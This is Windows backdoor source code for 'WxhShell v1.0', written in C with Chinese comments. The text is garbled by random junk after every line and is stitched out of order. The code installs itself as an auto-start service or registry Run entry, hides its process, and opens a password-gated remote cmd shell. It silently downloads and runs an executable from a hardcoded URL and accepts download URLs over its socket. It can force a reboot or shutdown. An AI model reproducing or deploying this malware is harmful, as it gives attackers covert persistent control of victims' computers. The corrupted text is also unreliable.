    closesocket(wsh); phNv^R+  
    ExitThread(0); ^,rbA>/L  
    } p3-sEIw}Ru  
    break; 5bAy@n  
    } _qGkTiP  
  // 获取shell tIRw"sz  
  case 's': { ;Z8K3p  
    CmdShell(wsh); N". af)5  
    closesocket(wsh); -dza_{&+iZ  
    ExitThread(0); t[X'OK0W%3  
    break; w+JDu_9+A]  
  } EJRwyF5 LK  
  // 退出 :_vf1>[  
  case 'x': { {!<zk+h$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gz kf  
    CloseIt(wsh); h-6kf:XP%  
    break;  ]@<O!fS  
    } qEywExdiu  
  // 离开 Wx^L~[l  
  case 'q': { `?La  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b>o38(  
    closesocket(wsh); QYg2'`(  
    WSACleanup(); X${k  
    exit(1); f>Ij:b`Z2  
    break; p! Hpq W  
        } n}YRE`>D  
  } V a<L[8  
  } >y2gfD  
&L;0%  
  // 提示信息 jy6% CSWQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \`x$@s?  
} @C?RbTHy  
  } VJm).>E3k  
$_NVy>\&  
  return; [X;yJ$  
} l].dOso$`  
+$ P0&YaQ  
// shell模块句柄 2x t 8F  
int CmdShell(SOCKET sock) yv&&x.!.Z  
{ CGPPo;RjK  
STARTUPINFO si; l+RBe<Mq  
ZeroMemory(&si,sizeof(si)); =%p0r z|b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >12phLu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ij4oH  
PROCESS_INFORMATION ProcessInfo; 6>zO"9  
char cmdline[]="cmd"; IL&Mf9m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h>q& X4-  
  return 0; jsjH.O  
} &h')snp:#  
8|HuxE  
// 自身启动模式 O*X ]oX  
int StartFromService(void) ]~GwZB'M  
{ 3N[t2Y1r  
typedef struct Qv|A^%Ub!  
{ 8-+Ce;h  
  DWORD ExitStatus; 0M>+.}e+  
  DWORD PebBaseAddress; Nxp 7/Nn3  
  DWORD AffinityMask; EH=[!iW;  
  DWORD BasePriority; )|zLjF$  
  ULONG UniqueProcessId; xhWWl(r`5  
  ULONG InheritedFromUniqueProcessId; 9-5H~<}fF  
}   PROCESS_BASIC_INFORMATION; wL\OAM6R  
Rq|7$O5  
PROCNTQSIP NtQueryInformationProcess; Se{}OG)  
iP)`yB5`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C|*U)#3:F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~+ Mp+gE  
OWx-I\:  
  HANDLE             hProcess; ]ri5mnB  
  PROCESS_BASIC_INFORMATION pbi; I6S!-i  
5<^ $9('  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5_!s\5  
  if(NULL == hInst ) return 0; AY<(`J{  
m&a.i B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @y ] ek/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jz<-B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oR}cE Sr  
B]iPixA6  
  if (!NtQueryInformationProcess) return 0; '"qTmo!  
E^qJ5pr_P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C9OEB6  
  if(!hProcess) return 0; @G,pM: t  
MVP|l_2!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hg4d]R,  
Td(eNe_4T  
  CloseHandle(hProcess); >}? jOB  
79`OB##  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F#-mseKhc  
if(hProcess==NULL) return 0; XB0G7o%1  
[ ICFPY6  
HMODULE hMod; H{ M7_1T  
char procName[255]; 71b0MHNkvv  
unsigned long cbNeeded; RGg=dN  
M$YU_RPl+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r ]s7a?O  
B! +rO~  
  CloseHandle(hProcess); fJ<I|ZZ  
/~~A2.=.  
if(strstr(procName,"services")) return 1; // 以服务启动 /{Mo'.=Z  
O"^3,-  
  return 0; // 注册表启动 -d>2&)5  
}  3-~*  
>^:*x_a9  
// 主模块 kx{LY`pY  
int StartWxhshell(LPSTR lpCmdLine)  A:b(@'h  
{ )_C+\K*  
  SOCKET wsl; H2kib4^i  
BOOL val=TRUE; A4uKE"WE  
  int port=0; (fA>@5n  
  struct sockaddr_in door; *qa.hqas  
X8 $Y2?<  
  if(wscfg.ws_autoins) Install(); / <C{$Gu  
=y^`yv 3  
port=atoi(lpCmdLine); =e)t,YVm  
~%chF/H  
if(port<=0) port=wscfg.ws_port; OI^??joQ  
ThvgYv--B  
  WSADATA data;  Zh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @vZeye  
5bB\i79$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vmzc0J+3p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .}9Lj  
  door.sin_family = AF_INET; o;TS69|D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~U r  
  door.sin_port = htons(port); J5TT+FQ  
]z#+3DaH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8TBv~Q u  
closesocket(wsl); 9r. h^  
return 1; /S{U|GBB%r  
} LD*XNcE  
l|81_BC"  
  if(listen(wsl,2) == INVALID_SOCKET) { ?:tk8Kgf  
closesocket(wsl); 5rb<u>e{  
return 1; bN\;m^xfu  
} -aq3Lqi  
  Wxhshell(wsl); z+Guu8  
  WSACleanup(); 4^Ss\$*  
GaCRo7  
return 0; 8NkyT_\  
u`CHM:<<?  
} 0u;a*#V@  
;E_Go&Vd  
// 以NT服务方式启动 =2t=Zyp0Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E~@&&d U8  
{ RNF%i~nhO  
DWORD   status = 0; *sQ.y {  
  DWORD   specificError = 0xfffffff; Ay7PU  
KE.O>M ,I.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uO>x"D5tZ:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NCdDG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p()q)P  
  serviceStatus.dwWin32ExitCode     = 0; ZZw2m@T>  
  serviceStatus.dwServiceSpecificExitCode = 0; K?nQsT;3p  
  serviceStatus.dwCheckPoint       = 0; We++DWp  
  serviceStatus.dwWaitHint       = 0; ?)ct@,Ek$  
H&8~"h6n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OMW]9E  
  if (hServiceStatusHandle==0) return; Egz6rRCvg  
Q<NQ9lX  
status = GetLastError(); 4{Q$^wD+.  
  if (status!=NO_ERROR) e"UXG\8D  
{ rd>>=~vx=/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tPa( H;  
    serviceStatus.dwCheckPoint       = 0; -X_\3J  
    serviceStatus.dwWaitHint       = 0; .sc80i4  
    serviceStatus.dwWin32ExitCode     = status; @~Ys*]4UE  
    serviceStatus.dwServiceSpecificExitCode = specificError; >z~_s6#CP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8[.&ca/[  
    return; NT2XG& $W>  
  } "n{';Q)  
?2_h.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;HBKOe_3  
  serviceStatus.dwCheckPoint       = 0; _M&n~ r  
  serviceStatus.dwWaitHint       = 0; +PnuWK$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k( Ik+=u  
} yN)(MmX'1  
QW'*^^  
// 处理NT服务事件,比如:启动、停止 fs yVu|G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^62z\Y  
{ >0[:uu,'>  
switch(fdwControl) }Ml BmD  
{ M)ao}m>  
case SERVICE_CONTROL_STOP: uF|Up]Z G  
  serviceStatus.dwWin32ExitCode = 0; p0y|pD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !VaC=I^{  
  serviceStatus.dwCheckPoint   = 0; RX%)@e/@  
  serviceStatus.dwWaitHint     = 0; q sUBvq  
  { :Jf</uP_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3P+K:2lNG  
  }  }D+ b`,  
  return; R:(i}g<3  
case SERVICE_CONTROL_PAUSE: BW6Ox=sr<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r*8a!jm?  
  break; ; w+  
case SERVICE_CONTROL_CONTINUE: +)bn}L>R l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %sPze]  
  break; .#Nf0  
case SERVICE_CONTROL_INTERROGATE: ?w!8;xS8  
  break;   NV-l9  
}; cHVJ7yAZI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F+*fim'NK  
} u,nn\>Y  
wfe4b  
// 标准应用程序主函数 "wcw`TsK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r~JGs?GH  
{ glc<(V  
7QnWw0  
// 获取操作系统版本 2z" <m2 a  
OsIsNt=GetOsVer(); [mQ1r*[j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +."|Y3a  
0:71Xm  
  // 从命令行安装 livKiX`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?% 8%1d  
L1I1SFG  
  // 下载执行文件 /\<x8BJ  
if(wscfg.ws_downexe) { q]C_idK=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (3$DUvx7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?%su?L  
} |c8\alw  
~OsLbz:  
if(!OsIsNt) { ^&C/,,U  
// 如果时win9x,隐藏进程并且设置为注册表启动 &]LpGl  
HideProc(); x7<NaMK\  
StartWxhshell(lpCmdLine); %FM26^  
} , `Z4fz:  
else G u_\ySV/y  
  if(StartFromService()) $M4Z_zle)  
  // 以服务方式启动 u?fM.=/N  
  StartServiceCtrlDispatcher(DispatchTable); ,u^{zYoW  
else vf@j d}?  
  // 普通方式启动 M*qE)dZjS  
  StartWxhshell(lpCmdLine); ^`i z%^  
#:N#i  
return 0; y\uBVa<B  
} nA_'j l  
&L5 )v\z  
LxGD=b  
|a"]@W$>  
=========================================== nyqX\m-  
9XtO#!+48  
LQr!0p.i"  
P*?|E@;s`  
WkE="E}  
~GX ]K H  
" YkMFU'?[  
B+~ /-3  
#include <stdio.h> Rc{R^5B  
#include <string.h> QwpX3 k6  
#include <windows.h> z9OpMA  
#include <winsock2.h> :<B_V<  
#include <winsvc.h> p&V64L:V  
#include <urlmon.h> "= %"@"<)  
svDnw cl  
#pragma comment (lib, "Ws2_32.lib") xg7KU&  
#pragma comment (lib, "urlmon.lib") ~+0IFJ`}  
>g>r_0.  
#define MAX_USER   100 // 最大客户端连接数 gCPH>8JwS0  
#define BUF_SOCK   200 // sock buffer Ns1n|^9  
#define KEY_BUFF   255 // 输入 buffer 'R'hRMD9o  
1hCU"|VH:  
#define REBOOT     0   // 重启 /3rNX}tOMH  
#define SHUTDOWN   1   // 关机 UP)< (3YA  
RD)Vb$.B:  
#define DEF_PORT   5000 // 监听端口 Ri`6X_xU  
/bo=,%wJ[  
#define REG_LEN     16   // 注册表键长度 hx;kNcPbI  
#define SVC_LEN     80   // NT服务名长度 0AffD:  
o$;&q *  
// 从dll定义API `Rfe*oAf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r9N?z2X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1;c>#20  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c CDT27 @  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,9jk<)m]L  
W).Kq-  
// wxhshell配置信息 ZAy/u@qt  
struct WSCFG { j2IK\~W?-  
  int ws_port;         // 监听端口 @w.DN)GPo  
  char ws_passstr[REG_LEN]; // 口令 #o} /'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5vR])T/S0  
  char ws_regname[REG_LEN]; // 注册表键名 v9r.w-  
  char ws_svcname[REG_LEN]; // 服务名 L)\<7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A'~mJO/   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f1'X<VA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9#hp]0S6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e4Qjx*[G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ak_y:O|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _6c/,a8;*J  
6S n&; ap  
}; Ag+B*   
<Fx%P:d  
// default Wxhshell configuration EZ"i0u  
struct WSCFG wscfg={DEF_PORT, ~/JS_>e#6P  
    "xuhuanlingzhe", |XG&[TI- "  
    1, ,:J[|9  
    "Wxhshell", #W8?E_iu  
    "Wxhshell", r_Ou\|jU  
            "WxhShell Service", J %A=  
    "Wrsky Windows CmdShell Service", 6QT&{|q=  
    "Please Input Your Password: ", p9 ,[kb  
  1, LVdR,'lS  
  "http://www.wrsky.com/wxhshell.exe", fB7Jx6   
  "Wxhshell.exe" %f("3!#H  
    }; O>nMeU  
dr&G>  
// 消息定义模块 s1::\&`za  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \*{MgwF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UNiK6h_%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F Xr\  
char *msg_ws_ext="\n\rExit."; pT~3< ,  
char *msg_ws_end="\n\rQuit."; `'XN2-M8  
char *msg_ws_boot="\n\rReboot..."; (=WYi~2v  
char *msg_ws_poff="\n\rShutdown..."; l"`VvW[  
char *msg_ws_down="\n\rSave to "; Z]DZ:dF  
Pn9;&`t  
char *msg_ws_err="\n\rErr!"; ?<N} Xh  
char *msg_ws_ok="\n\rOK!"; |X XO0  
^`SEmYb;  
char ExeFile[MAX_PATH]; Hu6Qr  
int nUser = 0; "PN4{"`V  
HANDLE handles[MAX_USER]; *! :j$n;  
int OsIsNt; sk 8DW  
C:^ :^y  
SERVICE_STATUS       serviceStatus; SKNHLE}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GKF!GbGR@  
owA8hGF  
// 函数声明 mM?,e7Xhs  
int Install(void); @oH\r-jsgu  
int Uninstall(void); EJ<L,QH3  
int DownloadFile(char *sURL, SOCKET wsh); {2Tu_2>  
int Boot(int flag); yN`&oya  
void HideProc(void); +eH`mI0f  
int GetOsVer(void); 8|\ -(:v  
int Wxhshell(SOCKET wsl); r 20!   
void TalkWithClient(void *cs); :a2[d1  
int CmdShell(SOCKET sock); MxX)&327  
int StartFromService(void); wX6-WQR  
int StartWxhshell(LPSTR lpCmdLine); <wFmfrx+v  
^pew'p HQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KTmwkZcfYD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #l-zY}&  
H<ovIMd  
// 数据结构和表定义 e2V;6N  
SERVICE_TABLE_ENTRY DispatchTable[] =  %rlqq*  
{ <1lB[:@%U  
{wscfg.ws_svcname, NTServiceMain}, $\] Mvd  
{NULL, NULL} >jTiYJI_M  
}; gG.+3=  
reYIF*  
// 自我安装 @C[p?ak  
int Install(void) FxK!h.C.  
{ e&ZH 1^O  
  char svExeFile[MAX_PATH]; B+R|fQ  
  HKEY key; GJE+sqMX1  
  strcpy(svExeFile,ExeFile); <Tbl |9  
QALr   
// 如果是win9x系统,修改注册表设为自启动 0d:t=LKw)  
if(!OsIsNt) { xqlnHf<G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %cDTq&Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [K4 k7$  
  RegCloseKey(key); _^RN$4.R>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G eB-4img  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KkzG#'I1  
  RegCloseKey(key); !J{[XT  
  return 0; ,d.5K*?aI  
    } Mkt_pr  
  } m8b-\^eP7  
} k'e1ZAn  
else { ei1;@k/  
m@D :t 5  
// 如果是NT以上系统,安装为系统服务 h?4EVOx+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gwB0/$!4"  
if (schSCManager!=0) ##mBOdx  
{ 5=9Eb  
  SC_HANDLE schService = CreateService L9,GUtK{  
  ( m`xYd  
  schSCManager, i~<.@&vt  
  wscfg.ws_svcname, \oGU6h<  
  wscfg.ws_svcdisp, U_Mag(^-  
  SERVICE_ALL_ACCESS, :]8A;`G}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZtGk Md$  
  SERVICE_AUTO_START, c;yp}k]\  
  SERVICE_ERROR_NORMAL, pxyFM@Z](  
  svExeFile, ,}>b\(Lk  
  NULL, aDLlL?r3  
  NULL, >8vq`,e  
  NULL, %|R]nB  
  NULL, wF6a*b@v  
  NULL KNP^k$=)3c  
  ); :y{@=E=XSC  
  if (schService!=0) hQ L@q7tUr  
  { D=5%lL  
  CloseServiceHandle(schService); J=O_nup6C  
  CloseServiceHandle(schSCManager); 1guiuR4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $ Grk{]nT  
  strcat(svExeFile,wscfg.ws_svcname); HG5E,^1n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `!ja0Sq]U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w; f LnEz_  
  RegCloseKey(key); mpIR: Im  
  return 0; l[WX77bp=  
    } (X2[}K  
  } D7B g!*  
  CloseServiceHandle(schSCManager); <{Rz1CMc  
} (v}l#M7w  
} 6HVX4Z#VH  
l u{6  
return 1; =|^R<#%/  
} a`C2:Z23(#  
3|URlz  
// 自我卸载 oHV!>K_D  
int Uninstall(void) x;STt3M~  
{ ;__k*<+{.  
  HKEY key; wwa)VgoS[  
bNvc@oo  
if(!OsIsNt) { LTb#1JC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1u }2}c|  
  RegDeleteValue(key,wscfg.ws_regname); Gch3|e  
  RegCloseKey(key); w(y 9y9r]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Je K0><  
  RegDeleteValue(key,wscfg.ws_regname); [ 4PiQyr  
  RegCloseKey(key); 7 3ABop  
  return 0; =C^4nP-  
  } 2 jxh7\zE  
} ^'b\OUty-  
} IG:CWPU  
else { |Ur$H!oe?'  
og*ti!Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Orlf5 {P  
if (schSCManager!=0) H]{`q  
{ I]91{dq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !]z4'*)W  
  if (schService!=0) M=5hp&=  
  { oPF n`8dQ  
  if(DeleteService(schService)!=0) { ,!^;<UR:  
  CloseServiceHandle(schService); t6%zfm   
  CloseServiceHandle(schSCManager); 7;sF0oB5e  
  return 0; {^R" V ,)  
  } ^/$U(4  
  CloseServiceHandle(schService); J$yJ2G  
  } 4(8BWP~.y2  
  CloseServiceHandle(schSCManager); S=`#X,Wo  
} ipRH.1=  
} tRTJQ  
M&rbXi.  
return 1; AnBD~h h  
} xl(R|D))  
u&o<>d;)  
// 从指定url下载文件 *!}bU`  
int DownloadFile(char *sURL, SOCKET wsh) v 5&8C  
{ Uee$5a>(  
  HRESULT hr; 9_%??@^>  
char seps[]= "/"; m{ rsjdnA  
char *token; a#/~rNRY  
char *file; Rw!_j!  
char myURL[MAX_PATH]; 6eK7Jv\K  
char myFILE[MAX_PATH]; ^^[A\'  
{"*gX&;~  
strcpy(myURL,sURL); *Ud P1?Y  
  token=strtok(myURL,seps); G=KXA'R)1.  
  while(token!=NULL) [5MV$)"!j  
  { ~<3J9\z1  
    file=token; TA"gU8YQ  
  token=strtok(NULL,seps);  ByjgM`  
  } "Q1oSpF  
\~>7n'd ]  
GetCurrentDirectory(MAX_PATH,myFILE); SJ&+"S&  
strcat(myFILE, "\\"); Rw`64L_  
strcat(myFILE, file); di~ [Ivw  
  send(wsh,myFILE,strlen(myFILE),0); p3cb_  
send(wsh,"...",3,0); 7@!3.u1B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yO J|t#  
  if(hr==S_OK) W@vCMy!  
return 0; g_(O7  
else 8qv>C)~~`  
return 1; -^$IjK-N  
h&EF)~G  
} tr%VYc|}  
AXPdgo6  
// 系统电源模块 UH7FIM7kX  
int Boot(int flag) s[u*~A  
{ RnUud\T/  
  HANDLE hToken; V`"Cd?R0Z  
  TOKEN_PRIVILEGES tkp; d PF*G$  
^-qz!ib  
  if(OsIsNt) { R"O,2+@<.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rTA#4.*&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q.d qr<  
    tkp.PrivilegeCount = 1; D4U<Rn6N_5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X GDJCN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9_J'P2e  
if(flag==REBOOT) { (iu IeJ^Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'TDp%s*;  
  return 0; Y]+KsiOL  
} ?q}:ojrs1  
else { c #8@>;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '],G!U(  
  return 0; Ihx[S!:  
} m~8=?R+m  
  } 5DVSaI$ =  
  else { H:,Hr_;nC  
if(flag==REBOOT) { c^}DBvG,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CjmF2[|  
  return 0; jUrUM.CJ\N  
} XOPiwrg%p  
else { WTu1t]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J?qikE&  
  return 0; hU 5_ dV  
} kC/An@J^#  
} T)Pr%kF  
wo\O 0?d3{  
return 1; J''lOj(@  
} rVDOco+w  
z KNac[:  
// win9x进程隐藏模块 F|?}r3{aJ  
void HideProc(void) ~f?brQ?  
{ lO8GnkLE  
jluv}*If  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rnM C[  
  if ( hKernel != NULL ) 7O'u5 N  
  { rh6 e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #[sJKW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F2dwT  
    FreeLibrary(hKernel); p+^K$w^Cs  
  } \N)!]jq  
FOS*X  
return; 6Q}>=R^h  
} GCp90  
>9X+\eg-  
// 获取操作系统版本 Ba9"IXKH  
int GetOsVer(void) XZj3x',;  
{ P&AaD!Qn  
  OSVERSIONINFO winfo; 8j8~?=$a6Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ) {4$oXQ  
  GetVersionEx(&winfo); NX?6 (lO,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )wk9(|[o  
  return 1; E{[>j'dwc  
  else cp4~`X  
  return 0; {"\pMY'7  
} 3SI%>CO}  
__)"-\w-_(  
// 客户端句柄模块 9&1$\ZH  
int Wxhshell(SOCKET wsl) xhncQhf\  
{ gg$:U  
  SOCKET wsh; d@ tD0s  
  struct sockaddr_in client; E=qfI>2U&  
  DWORD myID; |i- S}M  
phy:G}F6%  
  while(nUser<MAX_USER) py9`q7F  
{ HVNX"`]"  
  int nSize=sizeof(client); KZ|p_{0&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ky[^uQ>0  
  if(wsh==INVALID_SOCKET) return 1; ab*O7v  
CZ ,2Rq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?r^>Vk}  
if(handles[nUser]==0) Bx0=D:j  
  closesocket(wsh); 8!7`F.BX  
else *r iWrG  
  nUser++; >S:+&VN`M  
  } Gvc/o$_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Enqs|fkbN  
$K_-I8e|  
  return 0; }*vO&J@z  
} ;et(Yi;9  
1"U.-I@  
// 关闭 socket 1#nY Z%  
void CloseIt(SOCKET wsh) EK zYL#(i  
{ 13/U4-%b2  
closesocket(wsh); Z xR  
nUser--; V#V<Kz  
ExitThread(0); r& nE M6  
} >!#or- C  
NzbHg p  
// 客户端请求句柄 +$B#] ,  
void TalkWithClient(void *cs) zO3}c3D~q  
{ [k7 ;^A5/  
42wZy|oqp  
  SOCKET wsh=(SOCKET)cs; 3s Mmg`  
  char pwd[SVC_LEN]; %DhLU~VX  
  char cmd[KEY_BUFF]; 6?= ^8  
char chr[1]; uar[D|DcD"  
int i,j; "mAMfV0  
[)nU?l  
  while (nUser < MAX_USER) { 9f$3{ g{m  
2yA+zJ 46B  
if(wscfg.ws_passstr) { =v~$&@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n)R[T.E)+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lq{/r+tt/  
  //ZeroMemory(pwd,KEY_BUFF); CV *  
      i=0; !-q)9K?  
  while(i<SVC_LEN) { hr/|Fn+kA  
r+}<]?aT>-  
  // 设置超时 ou [Wz{  
  fd_set FdRead; fl<j]{*v  
  struct timeval TimeOut; 3y-P-NI~=  
  FD_ZERO(&FdRead); =+VI{~.|}  
  FD_SET(wsh,&FdRead); |=EwZ mj-c  
  TimeOut.tv_sec=8; !&Us^Q^  
  TimeOut.tv_usec=0; );fPir?+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A|BN >?.t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BmCBC,j<v>  
xO;Qr.3PX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I9kBe}g3  
  pwd=chr[0]; KL8WT6!RZ  
  if(chr[0]==0xd || chr[0]==0xa) { WFMQ;  
  pwd=0; Sigu p#.p  
  break; &%@>S.  
  } ,pVq/1  
  i++; SNtOHTQ  
    } "nC=.5/$  
Owm2/  
  // 如果是非法用户,关闭 socket eHH9#Vrhc$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u|\K kk  
} *AA78G|  
^%Fn|U\u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ jgC`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n_-k <3  
cb9@ 0^-  
while(1) { 8:}$L)[V  
hV"2L4/E  
  ZeroMemory(cmd,KEY_BUFF); juBzpQYj  
f9J]-#Iif  
      // 自动支持客户端 telnet标准   k1M?6TW&  
  j=0; {aWfD XB1  
  while(j<KEY_BUFF) { Z%I9:(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ui;PmwQc&  
  cmd[j]=chr[0]; 8Nxyc>8K~  
  if(chr[0]==0xa || chr[0]==0xd) { {;?bC'  
  cmd[j]=0; LZrkFkiC  
  break; 'pl){aL`@u  
  } 0/?=FM >  
  j++; &}vc^io  
    } 3Tr}t.mt  
&^@IAjxn  
  // 下载文件 M@O<b-  
  if(strstr(cmd,"http://")) { r2>y !Q?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =!PUKa3f<  
  if(DownloadFile(cmd,wsh)) ~aRcA|`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \}NZ] l  
  else C~:!WRCz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ekO*(vQ~  
  } b. oA}XP  
  else { [bJAh ` I  
%#b+ =J  
    switch(cmd[0]) { kR|(hA,$N  
  Wy,Tf*[  
  // 帮助 Gzu $  
  case '?': { f=*xdOB3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~yuj;9m3  
    break; @awN*mO  
